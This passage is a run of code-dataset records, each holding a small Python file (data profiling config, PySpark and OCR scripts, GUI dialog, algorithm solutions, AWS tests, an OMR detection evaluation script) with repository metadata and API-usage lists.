"numpy.delete", "line_number": 245, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 248, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 248, "usage_type": "call"}, {"api_name": "utils.metrics.IoU_from_confusions", "line_number": 251, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 252, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 259, "usage_type": "call"}, {"api_name": "numpy.floor", "line_number": 262, "usage_type": "call"}, {"api_name": "time.time", "line_number": 263, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 269, "usage_type": "call"}, {"api_name": "time.time", "line_number": 276, "usage_type": "call"}, {"api_name": "time.time", "line_number": 282, "usage_type": "call"}, {"api_name": "numpy.insert", "line_number": 289, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 292, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 292, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 297, "usage_type": "call"}, {"api_name": "time.time", "line_number": 299, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 303, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 303, "usage_type": "call"}, {"api_name": "numpy.delete", "line_number": 308, "usage_type": "call"}, {"api_name": "numpy.delete", "line_number": 309, "usage_type": "call"}, {"api_name": "utils.metrics.IoU_from_confusions", "line_number": 311, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 312, "usage_type": "call"}, {"api_name": "time.time", "line_number": 322, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 329, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 329, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 336, "usage_type": "call"}, {"api_name": "utils.ply.write_ply", "line_number": 337, "usage_type": "call"}, {"api_name": "open3d.io.write_point_cloud", "line_number": 341, "usage_type": "call"}, {"api_name": "open3d.io", "line_number": 341, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 347, "usage_type": "call"}, {"api_name": "utils.ply.write_ply", "line_number": 350, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 355, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 356, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 357, "usage_type": "attribute"}, {"api_name": "utils.ply.write_ply", "line_number": 358, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 359, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 364, "usage_type": "call"}, {"api_name": "numpy.savetxt", "line_number": 365, "usage_type": "call"}, {"api_name": "time.time", "line_number": 367, "usage_type": "call"}]}
{"seq_id": "37145628450", "text": "import datetime\nimport os\nfrom typing import Any, Dict, List, Optional\n\nimport pydantic\nfrom pydantic.fields import Field\n\nfrom datahub.configuration.common import AllowDenyPattern, ConfigModel\n\n\nclass GEProfilingConfig(ConfigModel):\n    enabled: bool = Field(\n        default=False, description=\"Whether profiling should be done.\"\n    )\n    limit: Optional[int] = Field(\n        default=None,\n        description=\"Max number of documents to profile. By default, profiles all documents.\",\n    )\n    offset: Optional[int] = Field(\n        default=None,\n        description=\"Offset in documents to profile. By default, uses no offset.\",\n    )\n\n    # These settings will override the ones below.\n    turn_off_expensive_profiling_metrics: bool = Field(\n        default=False,\n        description=\"Whether to turn off expensive profiling or not. This turns off profiling for quantiles, distinct_value_frequencies, histogram & sample_values. This also limits maximum number of fields being profiled to 10.\",\n    )\n    profile_table_level_only: bool = Field(\n        default=False,\n        description=\"Whether to perform profiling at table-level only, or include column-level profiling as well.\",\n    )\n\n    include_field_null_count: bool = Field(\n        default=True,\n        description=\"Whether to profile for the number of nulls for each column.\",\n    )\n    include_field_min_value: bool = Field(\n        default=True,\n        description=\"Whether to profile for the min value of numeric columns.\",\n    )\n    include_field_max_value: bool = Field(\n        default=True,\n        description=\"Whether to profile for the max value of numeric columns.\",\n    )\n    include_field_mean_value: bool = Field(\n        default=True,\n        description=\"Whether to profile for the mean value of numeric columns.\",\n    )\n    include_field_median_value: bool = Field(\n        default=True,\n        description=\"Whether to profile for the median value of numeric columns.\",\n    )\n    include_field_stddev_value: bool = Field(\n        default=True,\n        description=\"Whether to profile for the standard deviation of numeric columns.\",\n    )\n    include_field_quantiles: bool = Field(\n        default=False,\n        description=\"Whether to profile for the quantiles of numeric columns.\",\n    )\n    include_field_distinct_value_frequencies: bool = Field(\n        default=False, description=\"Whether to profile for distinct value frequencies.\"\n    )\n    include_field_histogram: bool = Field(\n        default=False,\n        description=\"Whether to profile for the histogram for numeric fields.\",\n    )\n    include_field_sample_values: bool = Field(\n        default=True,\n        description=\"Whether to profile for the sample values for all columns.\",\n    )\n\n    allow_deny_patterns: AllowDenyPattern = Field(\n        default=AllowDenyPattern.allow_all(),\n        description=\"regex patterns for filtering of tables or table columns to profile.\",\n    )\n    max_number_of_fields_to_profile: Optional[pydantic.PositiveInt] = Field(\n        default=None,\n        description=\"A positive integer that specifies the maximum number of columns to profile for any table. `None` implies all columns. The cost of profiling goes up significantly as the number of columns to profile goes up.\",\n    )\n\n    # The default of (5 * cpu_count) is adopted from the default max_workers\n    # parameter of ThreadPoolExecutor. Given that profiling is often an I/O-bound\n    # task, it may make sense to increase this default value in the future.\n    # https://docs.python.org/3/library/concurrent.futures.html#concurrent.futures.ThreadPoolExecutor\n    max_workers: int = Field(\n        default=5 * (os.cpu_count() or 4),\n        description=\"Number of worker threads to use for profiling. Set to 1 to disable.\",\n    )\n\n    # The query combiner enables us to combine multiple queries into a single query,\n    # reducing the number of round-trips to the database and speeding up profiling.\n    query_combiner_enabled: bool = Field(\n        default=True,\n        description=\"*This feature is still experimental and can be disabled if it causes issues.* Reduces the total number of queries issued and speeds up profiling by dynamically combining SQL queries where possible.\",\n    )\n\n    # Hidden option - used for debugging purposes.\n    catch_exceptions: bool = Field(default=True, description=\"\")\n\n    partition_profiling_enabled: bool = Field(default=True, description=\"\")\n    bigquery_temp_table_schema: Optional[str] = Field(\n        default=None,\n        description=\"On bigquery for profiling partitioned tables needs to create temporary views. You have to define a schema where these will be created. Views will be cleaned up after profiler runs. (Great expectation tech details about this (https://legacy.docs.greatexpectations.io/en/0.9.0/reference/integrations/bigquery.html#custom-queries-with-sql-datasource).\",\n    )\n    partition_datetime: Optional[datetime.datetime] = Field(\n        default=None,\n        description=\"For partitioned datasets profile only the partition which matches the datetime or profile the latest one if not set. Only Bigquery supports this.\",\n    )\n\n    @pydantic.root_validator()\n    def ensure_field_level_settings_are_normalized(\n        cls: \"GEProfilingConfig\", values: Dict[str, Any]\n    ) -> Dict[str, Any]:\n        max_num_fields_to_profile_key = \"max_number_of_fields_to_profile\"\n        table_level_profiling_only_key = \"profile_table_level_only\"\n        max_num_fields_to_profile = values.get(max_num_fields_to_profile_key)\n        if values.get(table_level_profiling_only_key):\n            all_field_level_metrics: List[str] = [\n                \"include_field_null_count\",\n                \"include_field_min_value\",\n                \"include_field_max_value\",\n                \"include_field_mean_value\",\n                \"include_field_median_value\",\n                \"include_field_stddev_value\",\n                \"include_field_quantiles\",\n                \"include_field_distinct_value_frequencies\",\n                \"include_field_histogram\",\n                \"include_field_sample_values\",\n            ]\n            # Suppress all field-level metrics\n            for field_level_metric in all_field_level_metrics:\n                values[field_level_metric] = False\n            assert (\n                max_num_fields_to_profile is None\n            ), f\"{max_num_fields_to_profile_key} should be set to None\"\n\n        if values.get(\"turn_off_expensive_profiling_metrics\"):\n            if not values.get(table_level_profiling_only_key):\n                expensive_field_level_metrics: List[str] = [\n                    \"include_field_quantiles\",\n                    \"include_field_distinct_value_frequencies\",\n                    \"include_field_histogram\",\n                    \"include_field_sample_values\",\n                ]\n                for expensive_field_metric in expensive_field_level_metrics:\n                    values[expensive_field_metric] = False\n            if max_num_fields_to_profile is None:\n                # We currently profile up to 10 non-filtered columns in this mode by default.\n                values[max_num_fields_to_profile_key] = 10\n\n        return values\n", "repo_name": "raft-tech/datahub-metadata-day-2022", "sub_path": "metadata-ingestion/src/datahub/ingestion/source/ge_profiling_config.py", "file_name": "ge_profiling_config.py", "file_ext": "py", "file_size_in_byte": 7194, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "datahub.configuration.common.ConfigModel", "line_number": 11, "usage_type": "name"}, {"api_name": "pydantic.fields.Field", "line_number": 12, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 15, "usage_type": "name"}, {"api_name": "pydantic.fields.Field", "line_number": 15, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 19, "usage_type": "name"}, {"api_name": "pydantic.fields.Field", "line_number": 19, "usage_type": "call"}, {"api_name": "pydantic.fields.Field", "line_number": 25, "usage_type": "call"}, {"api_name": "pydantic.fields.Field", "line_number": 29, "usage_type": "call"}, {"api_name": "pydantic.fields.Field", "line_number": 34, "usage_type": "call"}, {"api_name": "pydantic.fields.Field", "line_number": 38, "usage_type": "call"}, {"api_name": "pydantic.fields.Field", "line_number": 42, "usage_type": "call"}, {"api_name": "pydantic.fields.Field", "line_number": 46, "usage_type": "call"}, {"api_name": "pydantic.fields.Field", "line_number": 50, "usage_type": "call"}, {"api_name": "pydantic.fields.Field", "line_number": 54, "usage_type": "call"}, {"api_name": "pydantic.fields.Field", "line_number": 58, "usage_type": "call"}, {"api_name": "pydantic.fields.Field", "line_number": 62, "usage_type": "call"}, {"api_name": "pydantic.fields.Field", "line_number": 65, "usage_type": "call"}, {"api_name": "pydantic.fields.Field", "line_number": 69, "usage_type": "call"}, {"api_name": "datahub.configuration.common.AllowDenyPattern", "line_number": 74, "usage_type": "name"}, {"api_name": "pydantic.fields.Field", "line_number": 74, "usage_type": "call"}, {"api_name": "datahub.configuration.common.AllowDenyPattern.allow_all", "line_number": 75, "usage_type": "call"}, {"api_name": "datahub.configuration.common.AllowDenyPattern", "line_number": 75, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 78, "usage_type": "name"}, {"api_name": "pydantic.PositiveInt", "line_number": 78, "usage_type": "attribute"}, {"api_name": "pydantic.fields.Field", "line_number": 78, "usage_type": "call"}, {"api_name": "pydantic.fields.Field", "line_number": 87, "usage_type": "call"}, {"api_name": "os.cpu_count", "line_number": 88, "usage_type": "call"}, {"api_name": "pydantic.fields.Field", "line_number": 94, "usage_type": "call"}, {"api_name": "pydantic.fields.Field", "line_number": 100, "usage_type": "call"}, {"api_name": "pydantic.fields.Field", "line_number": 102, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 103, "usage_type": "name"}, {"api_name": "pydantic.fields.Field", "line_number": 103, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 107, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 107, "usage_type": "attribute"}, {"api_name": "pydantic.fields.Field", "line_number": 107, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 114, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 114, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 120, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 141, "usage_type": "name"}, {"api_name": "pydantic.root_validator", "line_number": 112, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 115, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 115, "usage_type": "name"}]}
{"seq_id": "8604663808", "text": "from pyspark import SparkConf, SparkContext\n\nconf = SparkConf().setMaster(\"local\").setAppName(\"SpentByCustomer\")\nsc = SparkContext(conf = conf)\n\ndef ParseLine(line):\n    fields = line.split(',')\n    customerID = int(fields[0])\n    amount = float(fields[2])\n    return customerID, amount\n\n\ninput = sc.textFile(\"datasets\\\\customer-orders.csv\")\n\nparsedlines = input.map(ParseLine)\n# print(parsedlines.take(3))\n# [(44, 37.19), (35, 65.89), (2, 40.64)]\n\ntotalAmounts = parsedlines.reduceByKey(lambda x, y: x + y)\n# print(totalAmounts.take(3))\n# [(44, 4756.8899999999985), (35, 5155.419999999999), (2, 5994.59)]\n\ntotalAmountsSorted = totalAmounts.map(lambda x: (x[1], x[0])).sortByKey()\n\nresults = totalAmountsSorted.collect()\nfor result in results:\n    print(f\"Customer ID: {result[1]}, Total Amount: {result[0]}\")", "repo_name": "ercan5535/PySpark-Exercises", "sub_path": "udemy-course/RDD Basics/total-spent-by-customer.py", "file_name": "total-spent-by-customer.py", "file_ext": "py", "file_size_in_byte": 809, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pyspark.SparkConf", "line_number": 3, "usage_type": "call"}, {"api_name": "pyspark.SparkContext", "line_number": 4, "usage_type": "call"}]}
{"seq_id": "70478052746", "text": "#!/usr/bin/python\n\n# ConfirmationDialog.py\n\nimport wx\n\nclass ConfirmationDialog(wx.Dialog):\n\n\tdef __init__(self, parent, title, text, *args, **kwargs):\n\t\tsuper(ConfirmationDialog, self).__init__(parent, *args, **kwargs)\n\n\t\tself.InitUI(text)\n\t\tself.SetSize((400,100))\n\t\tself.SetTitle(title)\n\n\tdef InitUI(self, text):\n\t\tpnl = wx.Panel(self)\n\t\tvbox1 = wx.BoxSizer(wx.VERTICAL)\n\t\tvbox2 = wx.BoxSizer(wx.VERTICAL)\n\n\t\tst = wx.StaticText(pnl, label=text)\n\n\t\tbtn_sizer = wx.BoxSizer(wx.HORIZONTAL)\n\t\tybtn = wx.Button(pnl, label='Yes', size=(85,28))\n\t\tself.Bind(wx.EVT_BUTTON, self.OnYes, ybtn)\n\t\tnbtn = wx.Button(pnl, label='No', size=(85,28))\n\t\tself.Bind(wx.EVT_BUTTON, self.OnNo, nbtn)\n\t\tbtn_sizer.Add(ybtn, 0, wx.EXPAND|wx.ALIGN_CENTER|wx.ALL, border=5)\n\t\tbtn_sizer.Add(nbtn, 0, wx.EXPAND|wx.ALIGN_CENTER|wx.ALL, border=5)\n\n\t\tvbox2.Add(st, 0, wx.ALIGN_CENTER|wx.ALL, border=5)\n\t\tvbox2.Add(btn_sizer, 0, wx.ALIGN_CENTER|wx.ALL, border=5)\n\n\t\tpnl.SetSizerAndFit(vbox2)\n\n\t\tvbox1.Add(pnl, 1, flag=wx.EXPAND|wx.ALL, border=10)\n\t\tself.SetSizerAndFit(vbox1)\n\n\tdef OnNo(self, e):\n\t\tself.Destroy()\n\n\tdef OnYes(self, e):\n\t\tself.EndModal(wx.ID_OK)\n", "repo_name": "lemonade512/DMProgram", "sub_path": "dmprogram/ConfirmationDialog.py", "file_name": "ConfirmationDialog.py", "file_ext": "py", "file_size_in_byte": 1131, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "wx.Dialog", "line_number": 7, "usage_type": "attribute"}, {"api_name": "wx.Panel", "line_number": 17, "usage_type": "call"}, {"api_name": "wx.BoxSizer", "line_number": 18, "usage_type": "call"}, {"api_name": "wx.VERTICAL", "line_number": 18, "usage_type": "attribute"}, {"api_name": "wx.BoxSizer", "line_number": 19, "usage_type": "call"}, {"api_name": "wx.VERTICAL", "line_number": 19, "usage_type": "attribute"}, {"api_name": "wx.StaticText", "line_number": 21, "usage_type": "call"}, {"api_name": "wx.BoxSizer", "line_number": 23, "usage_type": "call"}, {"api_name": "wx.HORIZONTAL", "line_number": 23, "usage_type": "attribute"}, {"api_name": "wx.Button", "line_number": 24, "usage_type": "call"}, {"api_name": "wx.EVT_BUTTON", "line_number": 25, "usage_type": "attribute"}, {"api_name": "wx.Button", "line_number": 26, "usage_type": "call"}, {"api_name": "wx.EVT_BUTTON", "line_number": 27, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 28, "usage_type": "attribute"}, {"api_name": "wx.ALIGN_CENTER", "line_number": 28, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 28, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 29, "usage_type": "attribute"}, {"api_name": "wx.ALIGN_CENTER", "line_number": 29, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 29, "usage_type": "attribute"}, {"api_name": "wx.ALIGN_CENTER", "line_number": 31, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 31, "usage_type": "attribute"}, {"api_name": "wx.ALIGN_CENTER", "line_number": 32, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 32, "usage_type": "attribute"}, {"api_name": "wx.EXPAND", "line_number": 36, "usage_type": "attribute"}, {"api_name": "wx.ALL", "line_number": 36, "usage_type": "attribute"}, {"api_name": "wx.ID_OK", "line_number": 43, "usage_type": "attribute"}]}
{"seq_id": "43303033067", "text": "from typing import List\n\n\nclass Solution:\n    def dominantIndex(self, nums: List[int]) -> int:\n        max_int = [0, -1]\n        submax_int = [0, -1]\n        for i, n in enumerate(nums):\n            if n > max_int[0]:\n                submax_int = max_int\n                max_int = [n, i]\n            elif n > submax_int[0]:\n                submax_int = [n, i]\n        return max_int[1] if max_int[0] // 2 >= submax_int[0] else -1\n", "repo_name": "vaiol/leetcode2", "sub_path": "src/747/Solution.py", "file_name": "Solution.py", "file_ext": "py", "file_size_in_byte": 430, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "typing.List", "line_number": 5, "usage_type": "name"}]}
{"seq_id": "5028744756", "text": "from PIL import Image\nfrom pathlib import Path\nimport sys\nimport os\nimport pytesseract\nimport numpy as np\nimport cv2\n\nif len(sys.argv) < 2:\n    print(\"> 'python3 ocr.py <path/to/file>'\")\n    sys.exit()\n\ntry:\n    filename = Path(sys.argv[1])\n    img = np.array(Image.open(filename))\nexcept BaseException as e:\n    print(e)\n    sys.exit()\nelse:\n    norm_img = np.zeros((img.shape[0], img.shape[1]))\n    img = cv2.normalize(img, norm_img, 0, 255, cv2.NORM_MINMAX)\n    img = cv2.threshold(img, 100, 255, cv2.THRESH_BINARY)[1]\n    img = cv2.GaussianBlur(img, (1, 1), 0)\n    text = pytesseract.image_to_string(img)\n    print(\"\\n\")\n    print(text)\n    f_name, f_ext = os.path.splitext(os.path.basename(filename))\n    if not os.path.exists('output'):\n        os.makedirs('output')\n    with open(f\"output/{f_name}.txt\", \"w\") as f:\n        f.write(text)\n", "repo_name": "Chaitanya-Raj/ocr", "sub_path": "ocr.py", "file_name": "ocr.py", "file_ext": "py", "file_size_in_byte": 844, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sys.argv", "line_number": 9, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 11, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 14, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 14, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 15, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 15, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 15, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 20, "usage_type": "call"}, {"api_name": "cv2.normalize", "line_number": 21, "usage_type": "call"}, {"api_name": "cv2.NORM_MINMAX", "line_number": 21, "usage_type": "attribute"}, {"api_name": "cv2.threshold", "line_number": 22, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY", "line_number": 22, "usage_type": "attribute"}, {"api_name": "cv2.GaussianBlur", "line_number": 23, "usage_type": "call"}, {"api_name": "pytesseract.image_to_string", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 29, "usage_type": "call"}]}
{"seq_id": "28100446878", "text": "from typing import List\n\nfrom binary_tree_with_parent_prototype import BinaryTreeNode\nfrom test_framework import generic_test\n\n\ndef inorder_traversal(tree: BinaryTreeNode) -> List[int]:\n    result = []\n    \"\"\"\n    1. when checking node, we need to know if/what subtrees have been visited\n    2. if we have visited neither: go left\n    3. if we have visited left only: add to result and go right\n    4. if we have visited left and right both: go to parent\n    \n    we could check what child visited by maintaining two pointers, one with prev accessed node and one with current\n    \"\"\"\n    cur = tree\n    prev = None\n\n    while cur is not None:\n        if prev is cur.parent:\n            # came from parent, haven't visited either, go left\n            if cur.left is not None:\n                prev = cur\n                cur = cur.left\n            else:\n                result.append(cur.data)\n                if cur.right is not None:\n                    prev = cur\n                    cur = cur.right\n                else:\n                    prev = cur\n                    cur = cur.parent\n        elif prev is cur.left:\n            # completed left subtree, add current then move right\n            result.append(cur.data)\n            if cur.right:\n                prev = cur\n                cur = cur.right\n            else:\n                prev = cur\n                cur = cur.parent\n        else:\n            # prev is cur.right\n            # completed right subtree as well, move to parent\n            prev = cur\n            cur = cur.parent\n    return result\n\n\nif __name__ == '__main__':\n    exit(\n        generic_test.generic_test_main('tree_with_parent_inorder.py',\n                                       'tree_with_parent_inorder.tsv',\n                                       inorder_traversal))\n", "repo_name": "adityagoel4512/EPIJudge", "sub_path": "epi_judge_python/tree_with_parent_inorder.py", "file_name": "tree_with_parent_inorder.py", "file_ext": "py", "file_size_in_byte": 1803, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "81", "api": [{"api_name": "binary_tree_with_parent_prototype.BinaryTreeNode", "line_number": 7, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 7, "usage_type": "name"}, {"api_name": "test_framework.generic_test.generic_test_main", "line_number": 53, "usage_type": "call"}, {"api_name": "test_framework.generic_test", "line_number": 53, "usage_type": "name"}]}
{"seq_id": "30367377211", "text": "import unittest\nimport boto3\n\nclass TestGet(unittest.TestCase):\n\n    dynamodb = boto3.resource('dynamodb', region_name='eu-west-1')\n    table = dynamodb.Table('resume-challenge-counter')\n    \n    def test_table(self):\n        \"\"\"\n        Check the dynamodb table exists\n        \"\"\"\n        self.assertEqual(self.table.table_name, 'resume-challenge-counter')\n\n    def test_table_empty(self):\n        \"\"\"\n        Check whether dynamodb table is empty\n        \"\"\"\n        items_number = self.table.item_count\n\n        if items_number == 0:\n            is_empty = True\n        else:\n            is_empty = False\n\n        self.assertFalse(is_empty)\n\n    def test_visitorsNumber_value(self):\n        \"\"\"\n        Check the count value is valid\n        \"\"\"\n        item = self.table.get_item(Key={\"CounterId\": \"mainCounter\"})\n\n        #Get the counter value\n        counter_value = int(item[\"Item\"][\"visitorsNumber\"])\n\n        if 0 <= counter_value:\n            is_valid = True\n        else:\n            is_valid = False\n        \n        self.assertTrue(is_valid)\n\nif __name__ == '__main__':\n    unittest.main()", "repo_name": "keffren/aws_cloud_resume_challenge", "sub_path": "terraform/files/tests/lambda_unit_test.py", "file_name": "lambda_unit_test.py", "file_ext": "py", "file_size_in_byte": 1103, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "unittest.TestCase", "line_number": 4, "usage_type": "attribute"}, {"api_name": "boto3.resource", "line_number": 6, "usage_type": "call"}, {"api_name": "unittest.main", "line_number": 45, "usage_type": "call"}]}
{"seq_id": "41716801934", "text": "import io\nimport tarfile\n\nfrom io_collection.keys.check_key import check_key\nfrom io_collection.load.load_buffer import load_buffer\nfrom io_collection.load.load_tar import load_tar\nfrom io_collection.save.save_buffer import save_buffer\n\n\ndef save_tar(location: str, key: str, contents: list[str]) -> None:\n    if check_key(location, key):\n        existing_tar = load_tar(location, key)\n    else:\n        existing_tar = None\n\n    with io.BytesIO() as buffer:\n        with tarfile.open(fileobj=buffer, mode=\"w:xz\") as tar:\n            if existing_tar is not None:\n                for member in existing_tar.getmembers():\n                    tar.addfile(member, existing_tar.extractfile(member.name))\n\n            for content_key in contents:\n                content = load_buffer(location, content_key)\n                info = tarfile.TarInfo(content_key.split(\"/\")[-1])\n                info.size = content.getbuffer().nbytes\n                tar.addfile(info, fileobj=content)\n\n        save_buffer(location, key, buffer)\n", "repo_name": "allen-cell-animated/io-collection", "sub_path": "src/io_collection/save/save_tar.py", "file_name": "save_tar.py", "file_ext": "py", "file_size_in_byte": 1018, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "io_collection.keys.check_key.check_key", "line_number": 11, "usage_type": "call"}, {"api_name": "io_collection.load.load_tar.load_tar", "line_number": 12, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 16, "usage_type": "call"}, {"api_name": "tarfile.open", "line_number": 17, "usage_type": "call"}, {"api_name": "io_collection.load.load_buffer.load_buffer", "line_number": 23, "usage_type": "call"}, {"api_name": "tarfile.TarInfo", "line_number": 24, "usage_type": "call"}, {"api_name": "io_collection.save.save_buffer.save_buffer", "line_number": 28, "usage_type": "call"}]}
{"seq_id": "2597321008", "text": "from __future__ import annotations\n\nfrom sqlalchemy.ext.asyncio import AsyncSession\n\nfrom core import tools\nfrom orm import PlayerModel\n\n\nasync def do_fold(session: AsyncSession, player: PlayerModel) -> int:\n    to_fold = 0\n    await tools.store.game_player_accessor.update_player(\n        session=session,\n        player_id=player.id,\n        values={\n            \"is_folded\": True,\n        },\n    )\n\n    return to_fold\n", "repo_name": "toymaj/like-games-backend", "sub_path": "app/poker/app/utils/helpers/game/bet/fold.py", "file_name": "fold.py", "file_ext": "py", "file_size_in_byte": 421, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sqlalchemy.ext.asyncio.AsyncSession", "line_number": 9, "usage_type": "name"}, {"api_name": "orm.PlayerModel", "line_number": 9, "usage_type": "name"}, {"api_name": "core.tools.store.game_player_accessor.update_player", "line_number": 11, "usage_type": "call"}, {"api_name": "core.tools.store", "line_number": 11, "usage_type": "attribute"}, {"api_name": "core.tools", "line_number": 11, "usage_type": "name"}]}
{"seq_id": "14110652663", "text": "from argparse import ArgumentParser, Namespace\nimport itertools\nimport json\nimport math\nimport os\nimport os.path as osp\nimport shutil\nimport tempfile\nfrom collections import defaultdict\nfrom functools import lru_cache\nfrom pathlib import Path\nfrom typing import List, Tuple, Generator\n\nimport cv2\nimport mmcv\nimport numpy as np\nimport pandas\nimport pandas as pd\nimport torch\nimport torch.distributed as dist\nfrom PIL import Image as PImage\nfrom PIL.Image import Image\nfrom dateutil.parser import parse\nfrom matplotlib import pyplot as plt\nfrom mmcv import DataLoader, Config\nfrom mmcv.parallel import MMDataParallel, MMDistributedDataParallel\nfrom mmcv.runner import get_dist_info, load_checkpoint\nfrom pandas import DataFrame\nfrom torch.nn import Sequential\n\nfrom DeepScoresV2_s2anet.analyze_ensembles.draw_WBF_for_multi_model import BboxHelper, load_proposals\nfrom DeepScoresV2_s2anet.analyze_ensembles.wbf_rotated_boxes import rotated_weighted_boxes_fusion\nfrom DeepScoresV2_s2anet.omr_prototype_alignment import prototype_alignment, render\nfrom mmdet.apis import init_dist\nfrom mmdet.core import coco_eval, results2json, wrap_fp16_model, poly_to_rotated_box_single, bbox2result, \\\n    outputs_rotated_box_to_poly_np\nfrom mmdet.core import rotated_box_to_poly_np\nfrom mmdet.datasets import build_dataloader, build_dataset\nfrom mmdet.models import build_detector\n\n\n# models/dsv2_no_augment/DS_2022_04_26/epoch_2000.pth\n# models/dsv2/DS_2022_04_26/epoch_2000.pth\n# models/dsv2_finalize/DS_2022_05_27/epoch_200.pth\n# models/dsv2_finalize_snp/DS_2022_05_27/epoch_250.pth\n# models/dsv2hybrid/DS_2022_05_27/epoch_600.pth\n# models/dsv2hybrid_finalize_snp/DS_2022_05_27/epoch_150.pth\n# models/uda_aug/halfrez_crop_lr_d_0.001_pretrained/model_030.pth\n# models/uda_aug/halfrez_crop_lr0.0025/model_140.pth\n# models/uda_aug/halfrez_crop_lr_d_0.001_no-pretrained/model_030.pth\n# models/uda_aug/halfrez_crop_lr0.0075/model_det_900.pth\n# models/uda_aug/halfrez_crop_adam/epoch_200.pth\n# models/uda_aug/imslp_04_11/model_030.pth\n# models/ensemble_cycle_length_20\n\n# models/uda_aug/halfrez_crop_lr0.0075/model_det_800.pth\n# models/uda_aug/halfrez_crop_lr0.0075/model_det_300.pth\n# models/uda_aug/halfrez_crop_lr0.0075/model_det_700.pth\n# models/uda_aug/halfrez_crop_lr0.0075/model_det_600.pth\n# models/uda_aug/halfrez_crop_lr0.0075/model_det_200.pth\n# models/uda_aug/halfrez_crop_lr0.0075/model_det_400.pth\n# models/uda_aug/halfrez_crop_lr0.0075/model_det_500.pth\n# models/uda_aug/halfrez_crop_lr0.0075/model_det_100.pth\n\n\nDEEPSCORES_TEST_SET = {\n    'type': 'DeepScoresV2Dataset',\n    'ann_file': 'data/deep_scores_dense/deepscores_test.json',\n    'img_prefix': 'data/deep_scores_dense/images/',\n    'pipeline': [\n        {'type': 'LoadImageFromFile'},\n        {\n            'type': 'MultiScaleFlipAug',\n            'img_scale': 0.5,\n            'flip': False,\n            'transforms': [\n                {'type': 'RotatedResize', 'img_scale': 0.5, 'keep_ratio': True},\n                {'type': 'RotatedRandomFlip'},\n                {'type': 'Normalize', 'mean': [240, 240, 240], 'std': [57, 57, 57], 'to_rgb': False},\n                {'type': 'Pad', 'size_divisor': 32},\n                {'type': 'ImageToTensor', 'keys': ['img']},\n                {'type': 'Collect', 'keys': ['img']}\n            ]\n        }\n    ],\n    'use_oriented_bboxes': True\n}\n\nIMSLP_TEST_SET = {\n    'type': 'DeepScoresV2Dataset',\n    'ann_file': 'data/deep_scores_dense/imslp_test.json',\n    'img_prefix': 'data/deep_scores_dense/images/',\n    'pipeline': [\n        {'type': 